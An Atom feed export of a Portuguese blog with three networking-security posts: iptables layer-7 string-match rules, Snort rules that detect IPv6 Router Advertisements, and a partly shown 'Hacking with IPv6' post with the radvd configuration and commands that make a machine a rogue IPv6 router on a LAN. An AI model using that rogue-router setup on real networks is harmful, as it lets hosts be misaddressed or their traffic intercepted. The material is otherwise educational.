<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3801955527535480990</id><updated>2012-02-16T14:10:24.579-08:00</updated><title type='text'>d_|   CleBeer's Pub  |_b</title><subtitle type='html'>Bem vindo ao CleBeer's Pub. Aqui vou mostrar um pouco de tudo que faço no dia-a-dia, desde meus testes com Kernel Hacking até os Drinks que invento, então se você gosta de Linux ou de bebidas alcoolicas entre puxe uma cadeira e vamos começar a diversão.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-907548380979807567</id><published>2011-03-15T10:27:00.000-07:00</published><updated>2011-04-20T04:26:47.345-07:00</updated><title type='text'>Proteção de camada 7 com iptables</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Hoje em dia se ouve falar muito em proteção por camadas e firewall de aplicação&lt;br /&gt;mas muitas pessoas me perguntam exatamente como é que isso funciona.&lt;br /&gt;&lt;br /&gt;Vou tentar resumir aqui o funcionamento de um firewall em nível de aplicação&lt;br /&gt;mas para isso precisamos entender a boa e velha camada OSI. Como sabemos&lt;br /&gt;um firewall trabalha na camada 3 (rede )&lt;br /&gt;&lt;br /&gt;|  APLICAÇÃO   | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;           |  APLICAÇÃO   |&lt;br /&gt;&lt;br /&gt;| APRESENTAÇÃO |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; | APRESENTAÇÃO |&lt;br /&gt;&lt;br /&gt;|   SESSÃO     |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;            |   SESSÃO     |  &lt;br /&gt;&lt;br /&gt;|  TRANSPORTE  | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;           |  TRANSPORTE  |&lt;br /&gt;&lt;br /&gt;|     REDE     |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     --firewall--&amp;gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;      |     REDE     | &lt;br /&gt;&lt;br /&gt;|    ENLACE    | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;           |    ENLACE    |&lt;br /&gt;&lt;br /&gt;|    FISICA    | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;           |    FISICA    |&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ja um firewall de aplicação trabalha como o próprio nome diz na camada &lt;br /&gt;de aplicação do modelo OSI. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;|  APLICAÇÃO   | &amp;nbsp; -firewall aplicação-&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  |  APLICAÇÃO   |&lt;br /&gt;&lt;br /&gt;| APRESENTAÇÃO | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;           | APRESENTAÇÃO |&lt;br /&gt;&lt;br /&gt;|   SESSÃO     | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;            |   SESSÃO     |  &lt;br /&gt;&lt;br /&gt;|  TRANSPORTE  | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;           |  TRANSPORTE  |&lt;br /&gt;&lt;br /&gt;|     REDE     | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;                        |     REDE     | &lt;br /&gt;&lt;br /&gt;|    ENLACE    | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;           |    ENLACE    |&lt;br /&gt;&lt;br /&gt;|    FISICA    | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;           |    FISICA    |&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Isso permite que o firewall tenha um controle muito maior sobre os &lt;br /&gt;pacotes trafegados na rede ja que ele abre o pacote e consegue ver seu conteúdo, &lt;br /&gt;por exemplo um requisição na porta 53 TCP para um firewall comum pode ser &lt;br /&gt;simplesmente uma transferência de zona DNS, porem &lt;br /&gt;ao abrir o pacote verificamos que existe o seguinte conteúdo:&lt;br /&gt;&lt;br /&gt;"GET http://www.site.net/file.exe"&lt;br /&gt;&lt;br /&gt;Opa ha algo de errado com esse pacote, um GET,  tudo indica que o IP de destino na porta 53&lt;br /&gt;é um proxy e que o usuário esta se valendo disso para acessar site indevidos.&lt;br /&gt;Nesse caso um firewall trabalhando na camada de aplicação nos fornece o mecanismo para bloquear &lt;br /&gt;este tipo de acesso.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --- Iptables e firewall camada 7 ---&lt;br /&gt;&lt;br /&gt;O iptables[1] nos fornece mecanismos bem funcionais para bloquear este tipo de acesso criando regras&lt;br /&gt;baseadas no conteúdo do pacote com a opção "-m string" onde string 'o conteudo que você procura &lt;br /&gt;no pacote, veja o exemplo a seguir:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;iptables -I FORWARD -p tcp -m string --string "file.exe" --algo bm -j DROP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No exemplo acima queremos bloquear todos os pacotes que contenham a string "file.exe" em seu conteúdo&lt;br /&gt;&lt;br /&gt;Explicando o comando:&lt;br /&gt;* -m string &lt;br /&gt;Chamando o helper string do iptables que faz pattern match do conteúdo do pacote.&lt;br /&gt;&lt;br /&gt;* --string "file.exe" &lt;br /&gt;É o conteúdo do pacote que queremos encontrar&lt;br /&gt;&lt;br /&gt;* --algo bm&lt;br /&gt;Algoritmo de busca para o pattern match, no nosso caso utilizamos o algoritmo bm (Boyer-Moore[2]) &lt;br /&gt;por ser mais rápido que o kpm (Knuth-Pratt-Morris[3])&lt;br /&gt;&lt;br /&gt;Demais opções:&lt;br /&gt;&lt;br /&gt;Alem das opções supra-citadas tambem temos as seguinte opções que nos permite uma enorme gama de detecções:&lt;br /&gt;&lt;br /&gt;* --from&lt;br /&gt;Define a partir de qual byte o pattern match será aplicado, exemplo "--from 64" começa a aplicar&lt;br /&gt;o pattern match a partir do byte 64 do pacote (caso não especifique o padrão é 0)&lt;br /&gt;&lt;br /&gt;* --to&lt;br /&gt;Define até qual byte do pacote o pattern match vai ler, exemplo "--to 128" vai procurar a string &lt;br /&gt;até alcançar 128 bytes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Algo interessante é que podemos mesclar diversos componentes deixando a regram menos passivel de falsos positivos.&lt;br /&gt;&lt;br /&gt;Ex.:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;iptables -I FORWARD -p tcp -m string --string "GET http://" --algo bm --to 64 -m string \! --string "file.exe" --algo bm -j ACCEPT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Na regra acima estamos aceitando todos os "GET http://" exceto os que contiverem a string "file.exe"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Agora bastar analisar o que você deseja bloquear e criar seu firewall na camada de aplicação.&lt;br /&gt;&lt;br /&gt;Dica:&lt;br /&gt;Nesse caso é legal você utilizar o MARK e/ou CONNMARK do iptables e criar algumas categorias que você deseja bloquear,&lt;br /&gt;tipo, chat mark 1, web, mark 2, p2p mark 3 e dai por diante ai basta você bloquear os pacotes marcados &lt;br /&gt;(lembrando que o MARK só funciona na tabela mangle)&lt;br /&gt;&lt;br /&gt;Enjoy it.&lt;br /&gt;&lt;br /&gt;[1] &lt;a href="http://www.netfilter.org/"&gt;http://www.netfilter.org&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm"&gt;http://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm&lt;/a&gt;&lt;br /&gt;[3] &lt;a href="http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm"&gt;http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exemplo de funcionamento do algoritmo KPM&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/kpm-example.html"&gt;http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/kpm-example.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exemplo de funcionamento do algoritmo BM&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/fstrpos-example.html"&gt;http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/fstrpos-example.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By CleBeeR&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-907548380979807567?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/907548380979807567/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=907548380979807567&amp;isPopup=true' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/907548380979807567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/907548380979807567'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2011/03/protecao-de-camada-7-com-iptables.html' title='Proteção de camada 7 com iptables'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-2766802384354259361</id><published>2010-10-25T10:15:00.000-07:00</published><updated>2011-02-15T04:40:34.424-08:00</updated><title type='text'>Detecting IPv6 Router Advertisement with Snort</title><content type='html'>&lt;span class="Apple-style-span" style="background-color: white;"&gt;No meu ultimo post eu comentei de como podemos utilizar o radvd para distribuir IPv6 em uma rede local utilizando as features de "router solicitation e router advertisement" do IPv6. Neste post vou mostrar como utilizar o snort para detectar essa atividade na rede.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Primeiramente seu snort precisa ser compilado com a opção --ipv6. para verificar se o snort instalado na máquina esta com suporte a IPv6 basta executar o "snort -V" &amp;nbsp;se aparece &amp;nbsp;"IPv6" ao lado da versão do snort então ele tem suporte.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Criando variável de rede.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Acesse o arquivo de configuração do snort (snort.conf) e adicione a variável "IPV6_ROUTER"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;var IPV6_ROUTER [fe80:0000:0000:0000:0a00:27ff:fea0:9834]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Lembrando que o endereço IPv6 dessa variável deve ser configurada com o endereço de link local da &amp;nbsp;placa de rede (fe80:: ....) do seu router IPv6, caso você não possua um router IPv6 deixe a variável com valor "any".&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Agora adicione as seguintes regras ao seu pool de regras do snort:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;---&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;alert icmp !$IPV6_ROUTER any -&amp;gt; $HOME_NET any (msg:"ICMP IPV6 Router Advertisement"; icode:0; itype:134;sid:1000001;)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;alert icmp !$IPV6_ROUTER any -&amp;gt; $HOME_NET any (msg:"ICMP IPV6 Multicast Router Advertisement"; icode:0; itype:151;sid:1000002;)&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;---&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Pronto, agora é só reiniciar o snort e esperar pelos logs... heheh&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;By CleBeeR&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-2766802384354259361?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/2766802384354259361/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=2766802384354259361&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2766802384354259361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2766802384354259361'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2010/10/detecting-ipv6-router-advertisement.html' title='Detecting IPv6 Router Advertisement with Snort'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-5510225205437959172</id><published>2010-06-23T07:40:00.001-07:00</published><updated>2011-02-15T04:41:51.550-08:00</updated><title type='text'>Hacking with Ipv6</title><content type='html'>&lt;span class="Apple-style-span" style="background-color: white;"&gt;Há tempo que o IPv6 esta nos tópicos das listas de discussão sobre redes e em congressos sobre gerenciamento de redes mas muito pouco se tem ouvido falar dele nos tópicos envolvendo segurança. O IPv6 não deve ser preocupação somente da parte de engenharia de rede e é isso que vou tentar demonstrar no post a seguir.&lt;/span&gt;&lt;br /&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Nos dias de hoje todos os sistemas operacionais modernos destinados a desktop vem com o IPv6 habilitado por padrão e é exatamente ai que mora o perigo, O IPv6 possui por padrão o endereço conhecido no IPv4 como PIPA (Private IP Address) que possui o range 169.254.0.0/16 (RFC 3330)  porém não há configuração automática para esse range IP, já no IPv6 toda a interface de rede (com ou sem IP definido) também vai possuir um IP na rede fe80::/64 conhecido como endereço de link local onde o IPv6 faz toda a comunicação entre as demais maquinas com IPv6 na rede local inclusive as mensagens de “Neighbor Discovery” e  “Router Advertisement” que nos dão a opção de configurar um IP para a maquina sem necessitar de um servidor de DHCP. Essa configuração funciona da seguinte maneira:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_zPY0AjwymTU/TCIbd83oA3I/AAAAAAAAA38/EJbM9Ax2aWs/s1600/route+advertisement-IPv6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="background-color: white; color: black;"&gt;&lt;img border="0" height="130" src="http://4.bp.blogspot.com/_zPY0AjwymTU/TCIbd83oA3I/AAAAAAAAA38/EJbM9Ax2aWs/s400/route+advertisement-IPv6.jpg" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;No desenho acima vemos como o IPv6 pode receber um IP sem haver um DHCP na rede através da mensagem de Router Advertisement, porém se não há nenhuma máquina na rede com essa configuração não há problemas (por enquanto).  Porém como citei no inicio os sistemas operacionais modernos vem com o IPv6 habilitado por padrão o que temos que fazer é só configurar a nossa máquina como router IPv6 e para isso podemos utilizar o radvd (&lt;a href="http://www.litech.org/radvd/"&gt;http://www.litech.org/radvd/&lt;/a&gt;). Baixe o radvd, compile e instale ( você também pode utilizar o yum ou apt de acordo com a distribuição linux que você utiliza), após a instalação edite o arquivo “/etc/radvd.conf”  e deixe o mesmo com o seguinte conteúdo:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b style="background-color: white;"&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;interface eth2   #  Interface de listen&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;{ &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="font-size: x-small;"&gt;AdvSendAdvert on;        # Habilita o router adivertisement &lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;prefix 2001:db8:f0ca::/64    # prefixo a ser distribuído&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;{ &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;AdvAutonomous on;       # Utiliza especificações da RFC 4862 (evita Ips duplicados)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;}; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="margin-bottom: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;}; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="LEFT" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b style="background-color: white;"&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Após configurar o arquivo radvd.conf adicione um endereço de IPv6 na mesma rede que você configurou o arquivo&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b style="background-color: white;"&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; margin-bottom: 0cm; padding-bottom: 0.07cm; padding-left: 0cm; padding-right: 0cm; padding-top: 0cm;"&gt;&lt;b&gt;&lt;span style="font-family: TlwgMono;"&gt;&lt;span style="background-color: white; font-size: x-small;"&gt;ifconfig eth2 inet6 add  2001:db8:f0ca::ca5a/64&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="margin-bottom: 0cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;agora basta iniciar o serviço radvd&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 0); border-style: none none solid; border-width: medium medium 1px; margin-bottom: 0cm; padding: 0cm 0cm 0.07cm;"&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" class="western" style="border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none; 